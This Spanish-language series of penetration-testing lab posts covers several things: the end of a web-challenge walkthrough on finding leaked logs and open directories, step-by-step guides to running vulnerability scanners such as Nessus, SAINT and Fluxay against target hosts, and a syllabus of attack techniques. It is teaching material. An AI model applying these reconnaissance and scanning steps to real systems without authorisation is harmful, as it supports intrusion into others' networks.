2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/blnd2.log
2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/blnd3.log

Con lo cual, parece que tenemos 2 opciones:

1. Atacar la autenticación de intranet
2. Intentar acceder en WWW a data/stats/ ( y a lo que parecen ser logs )

Aquí hay que decidir, en este caso, sobre intranet no sabemos absolutamente nada, mientras que sobre data/stats/ al menos sabemos que el día 8 de Mayo de 2007, contenía algún tipo de fichero de logs.

Evidentemente cada uno puede buscar lo que prefiera, y dónde prefiera, pero en este caso, los LOGS pueden resultar una información de vital interés pues pueden desvelarnos partes ocultas del aplicativo, y otras áreas de las que no tenemos conocimiento, así como usuarios con los que se accede a ellas ( si el acceso se hace autenticado mediante apache ) y otros muchos detalles.

Por el contrario, atacar directamente una autenticación de Apache, salvo que esté incorrectamente configurada, es algo bastante poco probable de llevar a buen fin, porque a priori, únicamente podremos atacar por fuerza bruta.

Con esto podemos concluir el primer nivel, habiendo visto las siguientes vulnerabilidades relativas a la “publicación de información sensible”:

• En los comentarios del fichero “load.js” se filtra información
• El fichero robots.txt mal facilita información relativa a áreas del aplicativo no públicas
• Existen el WS_FTP.LOG conteniendo información sensible
• El servidor Apache, está incorrectamente configurado, permite, mediante la opción INDEXES, la navegación por aquellos directorios que no contienen un fichero índice.

Así mismo tenemos un objetivo para iniciar nuestro ataque: el directorio data/stats/ terminando así el primer nivel de Sauron. Este primer nivel es igual para ambos niveles de complejidad.

“Una vulnerabilidad en seguridad informática hace referencia a una debilidad en un sistema permitiendo a un atacante violar la confidencialidad, integridad, disponibilidad, control de acceso y consistencia del sistema o de sus datos y aplicaciones.” (Continúa…)

Práctica 56 – Escaneo de vulnerabilidades Web con Rational AppScan – IBM (Watchfire)
Herramienta: IBM Rational AppScan – (Watchfire)
Prerequisitos: Ninguno
Contramedidas: Firewalls, seguridad en las listas de control de acceso (ACLs), Bastion Servers/Workstation (Hardening)
Descripción: IBM Rational AppScan identifica, valida e informa vulnerabilidades de seguridad de aplicaciones y, con esta nueva versión, introduce nuevas funcionalidades y métodos de reporte para los auditores de seguridad, permitiendo que un conjunto más amplio de roles de TI participen e impulsen las pruebas de seguridad de las aplicaciones web críticas.

Se puede auditar una web presentando los informes (en distintos formatos) con los fallos de seguridad encontrados y posibles soluciones, por ejemplo: comprueba si la web cumple los requisitos de seguridad solictados por 4b, visa, etc., y sobre estos errores nos ofrece algunas recomendaciones que podemos aplicar para solucionarlo.

Soporta JavaScript, Flash, Ajax, Bases de Datos, PHP, ASP y casi todo lo que nos podamos imaginar. El producto cuenta con actualizaciones, con los test a nuevos ataques.

Si el sitio auditado tiene alguna zona restringida, tenemos una herramienta de explorador manual con la que facilitamos los datos de acceso a la zona en cuestión.

Las recomendacion para este producto es usarlo desde el momento de la construcción del sitio web.

Veamos:

Una vez adquirido el software procedemos a instalarlo

La instalación no se diferencia mucho a una instalación común de Windows (el típico siguiente-siguiente)

Aceptamos los términos de licencia y continuamos

Pantalla de inicio de la herramienta AppScan (para este laboratorio, usé una versión antigua que tenía guardada)

Ingresamos nuestra licencia

Seleccionamos nuevo escanéo

Inmediatamente procedemos a actualizar la base de datos de vulnerabilidades

Entorno gráfico del aplicativo IBM Rational AppScan

Identificamos en la herramienta nuestra máquina o sistema objetivo

Para el laboratorio, haré uso del escanéo por defecto

Últimas configuraciones antes de dar inicio al escanéo

Tenemos la opción de guardar el perfil de escanéo

Guardando…

Escanéo en ejecución

Resultados en la misma pantalla

Ahora veamos como generar un reporte en IBM Rational AppScan (clic en report)

Las opciones disponibles a incluir en el reporte

Nuestro primero reporte de IBM Rational AppScan

Descripción del servidor objetivo

Visualización de las vulnerabilidades encontradas

Otra vista del reporte

Visualización más técnica de las vulnerabilidades encontradas

Sobra decir que el objetivo de este laboratorio es simplemente el de llevar a cabo un escaneo automatizado de vulnerabilidades, el tema de explotación de vulnerabilidades será cubierto en próximos laboratorios.

Taller individual:
Uso de otras opciones de IBM Rational AppScan
Consultar acerca de como llevar a cabo procesos de hardening de sistemas.

Próxima sesión: Escaneo de vulnerabilidades VII

“Una vulnerabilidad en seguridad informática hace referencia a una debilidad en un sistema permitiendo a un atacante violar la confidencialidad, integridad, disponibilidad, control de acceso y consistencia del sistema o de sus datos y aplicaciones.” (Continúa…)

Práctica 55 – Escaneo de vulnerabilidades con Shadow Security Scanner (SSS)
Herramienta: SSS
Prerequisitos: Ninguno
Contramedidas: Firewalls, seguridad en las listas de control de acceso (ACLs), Bastion Servers/Workstation (Hardening)
Descripción: Shadow Security Scanner es un completísimo y efectivo escáner de vulnerabilidades para la plataforma de Windows nativa, aunque también examina servidores de cualquier otra plataforma revelando brechas en Unix, Linux, FreeBSD, OpenBSD y Net BSD.

Por su arquitectura, Shadow Security Scanner también descubre fallos en CISCO, HP y otros equipos de la red. Actualmente, los servicios analizados son: FTP, SSH, Telnet, SMTP, DNS, Finger, HTTP, POP3, IMAP, IRC, Windows Media Service, Terminal Service, NetBIOS, NFS, NNTP, SNMP, Squid, LDAP, HTTPS, SSL, TCP/IP, UDP y servicios del Registro.

Lo análisis son muy rápidos y se ofrecen informes de cada una de las vulnerabilidades y sus posibles soluciones, además de actualizarse automáticamente a través de Internet.

Veamos:

Descargamos SSS desde la página oficial del producto (previo registro) ó desde este enlace (descarga directa).

Una vez descargado procedemos a instalar la herramienta

Al igual que muchas de las aplicaciones para Windows, estas no se diferencian mucho en el momento de instalación. Seleccionamos el idioma de instalación

Aceptamos los términos de licencia

Finalizada la instalación, ejecutamos por primera vez. En este caso el Firewall de windows no solicita autorización para acceder al demonio que incluye la herramienta

Para este Laboratorio haremos uso de las opciones más básicas de la herramienta, esperando que los investigadores profundicen en el uso de la misma. (Scanner)

Wizard de escaneo de la herramienta, para este caso un escaneo completo y por defecto

Adjuntamos el host objetivo del escaneo

Ingresamos la dirección IP ó el nombre del host

Iniciamos entonces el escaneo

Escaneo en ejecución. Este nos permite ir visualizando algunos resultados

Finalización del escaneo de vulnerabilidades con SSS

Algunos resultados

Una de las mejores bondades de la herramienta SSS, es la posibilidad de generar completos reportes ejecutivos y técnicos. (Generar reporte)

Adjuntamos la sesión a reportar

Seleccionamos las opciones (módulos) disponibles en el reporte

Formato de salida del reporte (html, pdf, xml, chm, etc)

Ruta de almacenamiento del reporte

Visualización en modo Web del reporte de escaneo de vulnerabilidades al sistema Windows 2003 server como máquina objetivo

Reporte generado de un escaneo a otro sistema objetivo (Linux)

Sobra decir que el objetivo de este laboratorio es simplemente el de llevar a cabo un escaneo automatizado de vulnerabilidades, el tema de explotación de vulnerabilidades será cubierto en próximos laboratorios.

Taller individual:
Uso de otras opciones de SSS
Consultar acerca de como llevar a cabo procesos de hardening de sistemas.

Próxima sesión: Escaneo de vulnerabilidades VI

“Una vulnerabilidad en seguridad informática hace referencia a una debilidad en un sistema permitiendo a un atacante violar la confidencialidad, integridad, disponibilidad, control de acceso y consistencia del sistema o de sus datos y aplicaciones.” (Continúa…)

Práctica 54 – Escaneo de vulnerabilidades con Fluxay
Herramienta: Fluxay
Prerequisitos: Ninguno
Contramedidas: Firewalls, seguridad en las listas de control de acceso (ACLs), Bastion Servers/Workstation (Hardening)
Descripción: Fluxay es un programa de escaneo de vulnerabilidades en diversos sistemas operativos. Aunque es un escaner de vulnerabilidades poco conocido ofrece casi todas las prestaciones de otros escaners de vulnerabilidades.

Fluxay es una herramienta escrita por un analista de seguridad japonés. Incluye herramientas muy útiles relacionadas con la explotación de vulnerabilidades (SQL Remote Shell, Brute Force, etc.).
Advierto que la herramienta debe ser utilizada con precaución y algunos antivirus pueden arrojar alertas con el archivo instalador, pues este contiene algunos exploits incluídos.

Descargamos a nuestro equipo el instalador de Fluxay

Hacemos doble clic para proceder con la instalación

Aceptamos los términos de licencia

Seleccionamos la ruta del instalador

Instalación terminada con éxito

Ahora vamos a ejecutar la herramienta Fluxay

Para ello haremos uso del wizard de escaneo de vulnerabilidades incluído en Fluxay

Seleccionamos el sistema objetivo (Sistema Operativo, posibles vulnerabilidades y servicios habilitados en el mismo, SMTP, POP3, FTP, IMAP, TELNET, SQL, IPC, IIS, etc.)

Configuramos el daemon de Fluxay, por defecto viene desde nuestra propia máquina, para este caso lo dejaremos así

En caso de tener activo el firewall de windows u otro, lo desactivaremos

Escaneo en ejecución a un sistema objetivo con Windows 2003 server Enterprise Edition

Ejecución del reporte de resultados

Visualización del reporte en formato html (visualización en cualquier navegador web ej: IE, FF, Opera, etc)

Algunos puertos disponibles en el sistema objetivo que han sido encontrados por Fluxay

Posibles vulnerabilidades encontradas y explotables en el sistema objetivo (Para este caso relacionadas con Windows 2003 server)

Sobra decir que el objetivo de este laboratorio es simplemente el de llevar a cabo un escaneo automatizado de vulnerabilidades, el tema de explotación de vulnerabilidades será cubierto en próximos laboratorios.

Taller individual:
Uso de otras opciones de Fluxay
Consultar acerca de como llevar a cabo procesos de hardening de sistemas.

Próxima sesión: Escaneo de vulnerabilidades V

“Una vulnerabilidad en seguridad informática hace referencia a una debilidad en un sistema permitiendo a un atacante violar la confidencialidad, integridad, disponibilidad, control de acceso y consistencia del sistema o de sus datos y aplicaciones.” (Continúa…)

Práctica 53 – Escaneo de vulnerabilidades con Nessus
Herramienta: Nessus
Prerequisitos: Ninguno
Contramedidas: Firewalls, seguridad en las listas de control de acceso (ACLs), Bastion Servers/Workstation (Hardening)
Descripción: Nessus es un programa de escaneo de vulnerabilidades en diversos sistemas operativos. Consiste en nessusd, el daemon Nessus, que realiza el escaneo en el sistema objetivo, y nessus, el cliente (basado en consola o gráfico) que muestra el avance y reporte de los escaneos. Desde consola nessus puede ser programado para hacer escaneos programados con cron.

En operación normal, nessus comienza escaneando los puertos con nmap o con su propio escaneador de puertos para buscar puertos abiertos y después intentar varios exploits para atacarlo. Las pruebas de vulnerabilidad, disponibles como una larga lista de plugins, son escritos en NASL (Nessus Attack Scripting Language, Lenguaje de Scripting de Ataque Nessus por sus siglas en inglés), un lenguaje scripting optimizado para interacciones personalizadas en redes.

Opcionalmente, los resultados del escaneo pueden ser exportados en reportes en varios formatos, como texto plano, XML, HTML, y LaTeX. Los resultados también pueden ser guardados en una base de conocimiento para referencia en futuros escaneos de vulnerabilidades.

Algunas de las pruebas de vulnerabilidades de Nessus pueden causar que los servicios o sistemas operativos se corrompan y caigan. El usuario puede evitar esto desactivando “unsafe test” (pruebas no seguras) antes de escanear.
Procedimiento: Descargar, instalar, configurar y ejecutar la herramienta definiendo el/los sistemas objetivos.

Veamos:

Ingresamos a la Web oficial del proyecto Nessus, para descargar la herramienta

Seleccionamos la descarga con base en nuestro sistema operativo. Para este caso lo haremos desde Windows.

Aceptamos los término de licencia

Allí es recomendable completar el formulario de registro, este permitirá que recibamos actualizaciones en noticias y cambios de la herramienta

Finalmente hacemos clic para la descarga directa

Descargando

Este será el archivo instalador de la herramienta. Para este caso la versión de Nessus 3.2.1

Damos doble clic para comenzar con el proceso de instalación

Aceptamos los términos de licencia

Seleccionamos los componentes a instalar, para este caso el servidor y cliente de nessus

Instalación en ejecución

En este paso seleccionamos el sistema de registro de la herramienta. En nuestro obtamos por: No.

Actualización de los plugins de nessus

Finalización de la instalación

Luego de haber terminado el proceso de instalación, tendremos dos nuevos acceso directos. El cliente Nessus y el configurador del Nessus server.

Veamos el configurador de Nessus server. Para este caso dejamos las opciones por defecto, pues nuestro server está ubicado en nuestra propia máquina. En caso contrario deberíamos configurarlo con base a los datos del otro server.

Ahora ejecutemos el cliente Nessus. Para ello hacemos clic en Connect y seleccionamos nuestro servidor (localhost). Luego clic en conectar

Mensaje recibido en la primera conexión de nessus, hacemos clic en si.

Ahora configuramos nuestro sistema objetivo. Para este caso, será objetivo una sola máquina, allí escribimos la dirección IP del sistema y finalmente clic en guardar.

Seleccionamos el sistema recién escrito, las políticas a usar y finalmente en escanear ahora

Escaneo en ejecución

Escaneo finalizado

Vamos a generar el reporte del escaneo. Para ello damos clic en Export

Seleccionamos la ruta donde vamos a guardar el reporte, el formato de este, será en html

Ubicamos el archivo html del reporte y procedemos a ejecutar

Reporte generado del escaneo. En él podemos observar la hora de realización, el número de vulnerabilidades, información del sistema objetivo

Descripción detallada de cada una de las vulnerabilidades encontradas. Por ello es el mejor escaner de vulnerabilidades del mercado

Además podemos guardar el registro del escaneo

Como vemos, nessus es una herramienta muy completa para el escaneo de vulnerabilidades. En el portal de la comunidad ya había publicado contenido de entrenamiento y profundización en el uso de la herramienta, así que material hay, solo es cuestión de dedicarle tiempo y energías a la investigación.

Taller individual:
Uso de otras opciones de Nessus
Consultar acerca de como llevar a cabo procesos de hardening de sistemas.
Visualización de los videos de entrenamiento

Próxima sesión: Escaneo de vulnerabilidades IV

“Una vulnerabilidad en seguridad informática hace referencia a una debilidad en un sistema permitiendo a un atacante violar la confidencialidad, integridad, disponibilidad, control de acceso y consistencia del sistema o de sus datos y aplicaciones.” (Continúa…)

Práctica 52 – Escaneo de vulnerabilidades con X-Scan
Herramienta: X-Scan
Prerequisitos: Ninguno
Contramedidas: Firewalls, seguridad en las listas de control de acceso (ACLs), Bastion Servers/Workstation (Hardening)
Descripción: X-Scan es el primer analizador de vulnerabilidades totalmente gratuito y en español, para ordenadores con sistemas Windows. Una vez se ejecuta, no sólo localiza los fallos de un ordenador, sino que además genera un informe completísimo, enumerando bugs, en qué consisten, y ofreciendo enlaces a distintos sitios web para descargar el parche que soluciona cada problema localizado.

X-Scan puede analizar un PC o una red completa, lo que lo convierte en ideal para administradores de redes. El programa ha sido desarrollado por Xfocus, un grupo de hackers chinos dedicados al descubrimiento de vulnerabilidades en sistemas. Las primeras versiones en español fueron traducidas, adaptadas y ampliadas por nuestro equipo y continuamos con ello.

Lo curioso de la versión 3.3 de X-Scan es que es totalmente compatible con otro escáner de vulnerabilidades: Nessus, el más conocido entra la comunidad de usuarios de Linux. Este escáner open source cuenta con añadidos, lo que se entiende como plugins en el arbot informático. Estos plugins de ataque descubren agujeros de seguridad. Cada día, los participantes de Nessus programan nuevos plugins con los fallos anunciados en la prensa sobre tal o cual programa.

X-Scan es el primer escáner de vulnerabilidades para Windows que incorpora la base de datos de plugins de Nessus al completo. Es más, como si se tratara de un antivirus, X-Scan dispone de un botón de actualización que, al pulsarse, conecta con la base de datos de Xfocus y se actualiza por completo con las últimas vulnerabilidades descubiertas.

Esto convierte a X-Scan en el primer y único escáner para Windows que siempre está al día de todos los fallos descubiertos, generando auténticos informes que ponen de relieve si el ordenador analizado está cubierto ante los últimos bugs publicados.

X-Scan, además, no precisa de instalación en Windows, lo que evita introducir ficheros innecesarios en el sistema operativo, sobrecargándolo más. Basta con hacer un doble clic y el programa comienza a funcionar a los pocos segundos.

X-Scan es recomendado en la asignatura de seguridad informática de la carrera de Ingeniería de Sistemas Informáticos en las principales universidades españolas.
Procedimiento: Descargar, configurar y ejecutar la herramienta definiendo el/los sistemas objetivos.

Para acceder a la herramienta solo basta con descomprimir el archivo descargado y ejecutar el archivo xscan_gui.exe. Veamos:

Pantalla de incio de la herramienta X-Scan

Como primera tarea debemos actualizar la herramienta, ella buscará nuevos cambios en la base de datos de vulnerabilidades.

Ahora debemos configurar la herramienta para determinarle nuestro sistema objetivo

Para comenzar el escaneo de vulnerabilidades solo basta con hacer clic en el botón

Escaneo en ejecución

Informe en html de los resultados generados por la herramienta X-Scan

Descripción de algunas vulnerabilidades encontradas

Taller individual:
Uso de otras opciones de X-Scan
Consultar acerca de como llevar a cabo procesos de hardening de sistemas.

Próxima sesión: Escaneo de vulnerabilidades III

“Una vulnerabilidad en seguridad informática hace referencia a una debilidad en un sistema permitiendo a un atacante violar la confidencialidad, integridad, disponibilidad, control de acceso y consistencia del sistema o de sus datos y aplicaciones.

Las vulnerabilidades son el resultado de bugs o de fallos en el diseño del sistema. Aunque, en un sentido más amplio, también pueden ser el resultado de las propias limitaciones tecnológicas, porque, en principio, no existe sistema 100% seguro. Por lo tanto existen vulnerabilidades teóricas y vulnerabilidades reales.

Las vulnerabilidades en las aplicaciones suelen corregirse con parches, hotfixs o con cambios de versión. En tanto algunas otras requieren un cambio físico en un sistema informático.

Las vulnerabilidades se descubren muy seguido en grandes sistemas, y el hecho de que se publiquen rápidamente por todo internet (mucho antes de que exista una solución al problema), es motivo de debate. Mientra más conocida se haga una vulnerabilidad, más probabilidades de que existan instrusos informáticos que quieran aprovecharse de ellas.

Algunas vulnerabilidades típicas suelen ser:

• Desbordes de pila y otros buffers.
• Symlink races.
• Errores en la validación de entradas como: inyección SQL, bug en el formato de cadenas, etc.
• Secuesto de sesiones.
• Ejecución de código remoto.
• XSS.”

Fuente

Por lo tanto, el Escaneo de vulnerabilidades se refiere a la automatización por medio de software especializado para la identificación de dichas fallas (bugs).

Práctica 51 – Escaneo de vulnerabilidades con SAINT
Herramienta: SAINT
Prerequisitos: Ninguno
Contramedidas: Firewalls, seguridad en las listas de control de acceso (ACLs), Bastion Servers/Workstation (Hardening)
Descripción: SAINT (Security Administrator´s Integrated Network Tool) es una herramienta de evaluación de seguridad basada en SATAN. Entre sus caracteristicas se incluyen la posibilidad de escanear objetivos protegidos mediante Firewalls, actualización de vulnerabilidades y riesgos de seguridad reportadas desde CERT (Computer Emergency Response Team) y los boletines de la CIAC. Jerarquización en cuatro niveles de severidad de vulnerabilidades (rojo= Problemas críticos, amarillo= áreas de preocupación, café = problemas potenciales y verde = servicios). Todo esto es posible llevarlo a cabo desde una interface web que implementa la herramienta. La herramienta SAINT solo se encuentra disponible para sistemas tipo *nix (Linux)
Procedimiento: Descargar, configurar, instalar y ejecutar la herramienta definiendo el/los sistemas objetivos.

Para acceder a la herramienta se hace necesario llevar a cabo un registro en la página web del producto, en ella se nos pedirán datos básicos, sumados a una dirección electrónica donde recibiremos la llave de activación del producto después de haber especificado las IP’s objetivos del análisis. (La versión utilizada para este laboratorio es una versión trial por 15 días, sin la opción de explotación de fallas, además requiere tener previo conocimiento de las 2 IPs objetivo)

Descargamos la herramienta y el archivo saint.key

En la misma página de descarga es posible encontrar unas pequeñas instrucciones de instalación y ejecución de la herramienta

Procedemos entonces a darle los permisos necesarios de ejecución al archivo

Ejecutamos el comando de instalación

Aceptamos los términos de licencia

Continúa el proceso de instalación

Nos pide confirmar algunas opciones

Finaliza la instalación de SAINT

Como vimos en el proceso de instalación, nos pedía autorizar la creación de un acceso directo en el escritorio. Este ya ha sido creado

Para este laboratorio, ejecutaré SAINT desde la línea de comandos, para ello me ubicaré en la carpeta contenedora del aplicativo. “./saint “

Inicialización de la herramienta

Primera ejecución del SAINT, es en esta pantalla donde llevaremos a cabo el proceso de activación de la herramienta

Seleccionamos la acción a realizar, para este caso “Configure SAINT Key”

Espacio destinado para incluir la llave de registro

Copiamos y pegamos el contenido del archivo saint.key

Obtendremos la siguiente pantalla de aviso de confidencialidad

Para continuar solo basta con actualizar la página

Aviso de que la llave ha sido registrada con éxito

Después de llevar a cabo el proceso de registro, veamos como realizar un escaneo con SAINT a un sistema objetivo ya definido

Activamos una de las opciones más importantes de SAINT; Soporte para Firewalls

Ejecutemos el escano haciendo clic en el botón Escanear Ahora

Escaneo en ejecución

Después de pocos minutos (dependiendo del tipo de escaneo que se lleve a cabo) obtenemos la posibilidad de generar el reporte y análisis del mismo

Generamos el reporte

En reportes por defecto, seleccionaremos “Escaneo completo”

Luego hacemos clic en continuar

Vista del reporte

Gráfica de barras del reporte según los tipos de riesgos encontrados

• Problemas críticos: 1
• Áreas de preocupación: 3
• Problemas potenciales: 5
• Servicios activos: 10

Descripción de vulnerabilidades según su tipología

• Web
• Mail
• File Transfer
• Login/Shell
• Print Services
• RPC
• DNS
• Databases
• Networking/SNMP
• Windows OS
• Passwords
• Other

Gráfica de barras según los resultados obtenidos por tipología de la vulnerabilidad

• Web: 4
• Login/Shell: 1
• Print Services: 2
• Other: 2

Profundización en la información sobre las vulnerabilidades encontradas

ej. Versión 4.4.4 de PHP vulnerable. Información en CVE (Common Vulnerabilities and Exposures)

Información sobre los servicios en ejecución en el sistema objetivo

Termina de esta manera, esta “corta” definición e introducción sobre el uso de la herramienta SAINT para realizar escaneos de vulnerabilidades. Cabe aclarar que este es solo un pequeño paso para llevar a cabo un test de penetración, pues queda el largo camino del análisis de los resultados obtenidos, en el cual se debe verificar la veracidad de los resultados, vulnerabilidades no encontradas, y un largo etc.

Taller individual:
Uso de otras opciones de SAINT
Consultar acerca de como llevar a cabo procesos de hardening de sistemas.

Próxima sesión: Escaneo de vulnerabilidades II

Algunas notas aclaratorias:

Los términos utilizados en los laboratorios referentes a “hacking”, “hacker”, etc, son bajo la definición de especialistas en seguridad y sistemas informáticos. Muy diferente a la definición que dan algunos medios de información, relacionandolos con delincuentes. Para mí (apreciación personal), las personas que se dedican a causar estragos, robos, y demás actos, reciben la denominación de delincuentes informáticos; (personas que realizan actos delictivos mediante la utilización de herramientas informáticas).

El contenido temático de los laboratorios estará dirigido para usuarios con un nivel de conocimientos del tema comprendido entre básico y medio. El material expuesto no está enfocado para usuarios de amplia experiencia en el tema, por el contrario pretende acercar a los entusiastas de aprender y que aún no encuentran la manera de comenzar de un modo más práctico. Pretende refrescar un poco los conocimientos de usuarios avanzados, y pretende invitar a los mismos a desarrollar sus propios laboratorios para el conocimiento de toda la comunidad investigadora.
Los laboratorios pretenden ser lo más práctico posible, obviamente citando las fuentes de profundización para obtener más información sobre los temas tratados.
Casi la totalidad de los laboratorios serán llevados a cabo bajo entornos controlados de instrusión, utilizando máquinas virtuales, con diferentes sistemas operativos, entre ellos “BackTrack”, “OpenSuSe Linux”, “Windows Server 2003 Edición Enterprise”, “NetBSD”, entre otros.

Contenido:

• Introducción y descripción de los laboratorios.

Instalación y configuración del ambiente virtual controlado de los laboratorios. (Instalación de VMware WorkStation – Instalación de la distribución BackTrack – Instalación de Windows 2003 Server Enterprise Edition – Instalación de las VMware Tools)

• Identificación de Banner’s (banderas)

Descripción y definición de la identificación de banner’s (utilización de las herramientas y procedimientos: telnet, netcat, Scanline, Xprobe2, AMAP y banner.c, para la identificación de banner’s.)

• Enumeración del objetivo

Descripción y definición del target enumeration (utilización de las herramientas y procedimientos: nullsesion, getmac, user2sid, sid2user, userdump, userinfo, dumpsec, comandos net, ping’s, pathping’s, nmap, nmapfe, nslookup, nmblookup, rpcinfo, visual route, sam spade, netcraft, sprint y winfingerprint, para la enumeración del objetivo).

• Escaneo

Descripción y definición del scanning (utilización de las herramientas y procedimientos: Angry IP, LANguard, Fscan, Passifist, Lanspy, Netcat, Superscan, Strobe, FTPScanner, TCS CGI Scanner, Hydra, WGateScan/ADM Gates, para las diferentes técnicas de escaneo) .

• Sniffing

Descripción y definición del sniffing (utilización de las herramientas y procedimientos: Ethereal-Wireshark, Ngrep, TcpDump, WinDump, IPDump2, ZxSniffer y Sniffit, para las diferentes ténicas del sniffing)

• Spoofing

Descripción y definición del spoofing (utilización de las herramientas y procedimientos: RafaleX, SMAC y Packit, para las diferentes técnicas del spoofing).

• Ataques de fuerza bruta

Descripción y definición del brute force (utilización de las herramientas y procedimientos: NETWOX/NETWAG, FGDump, LC, Cain, CHNTPW, John the ripper, BruteFTP y TSGrinder II, para las diferentes técnias de brute force).

• Escaneo de vulnerabilidades

Descripción y definición del Vulnerability Scanning (utilización de las herramientas y procedimientos: SAINT, NETWOX/NETWAG, Solar Winds, Retina, X-scan, SARA, N-Stealth, Pluto, Metasploit, Nikto, SSS, Cerberus, AutoScan, Nessus y Core Impact, para las diferentes técnicas del vulnerability scanning).

• Redireccionamiento

Descripción y definición de la redirección (utilización de las herramientas y procedimientos: PortMapper, EliteWrap, Fpipe, PsExec y NETWOX/NETWAG, para las diferentes técnicas de la redirección) .

• Denegación del Servicio (DoS)

Descripción y definición de la Denegación del Servicio (utilización de las herramientas y procedimientos: Land Attack, Smurf Attack, SYN Attack, UDP Flood y Trash 2.c, para las diferentes técnicas de Denegación del Servicio).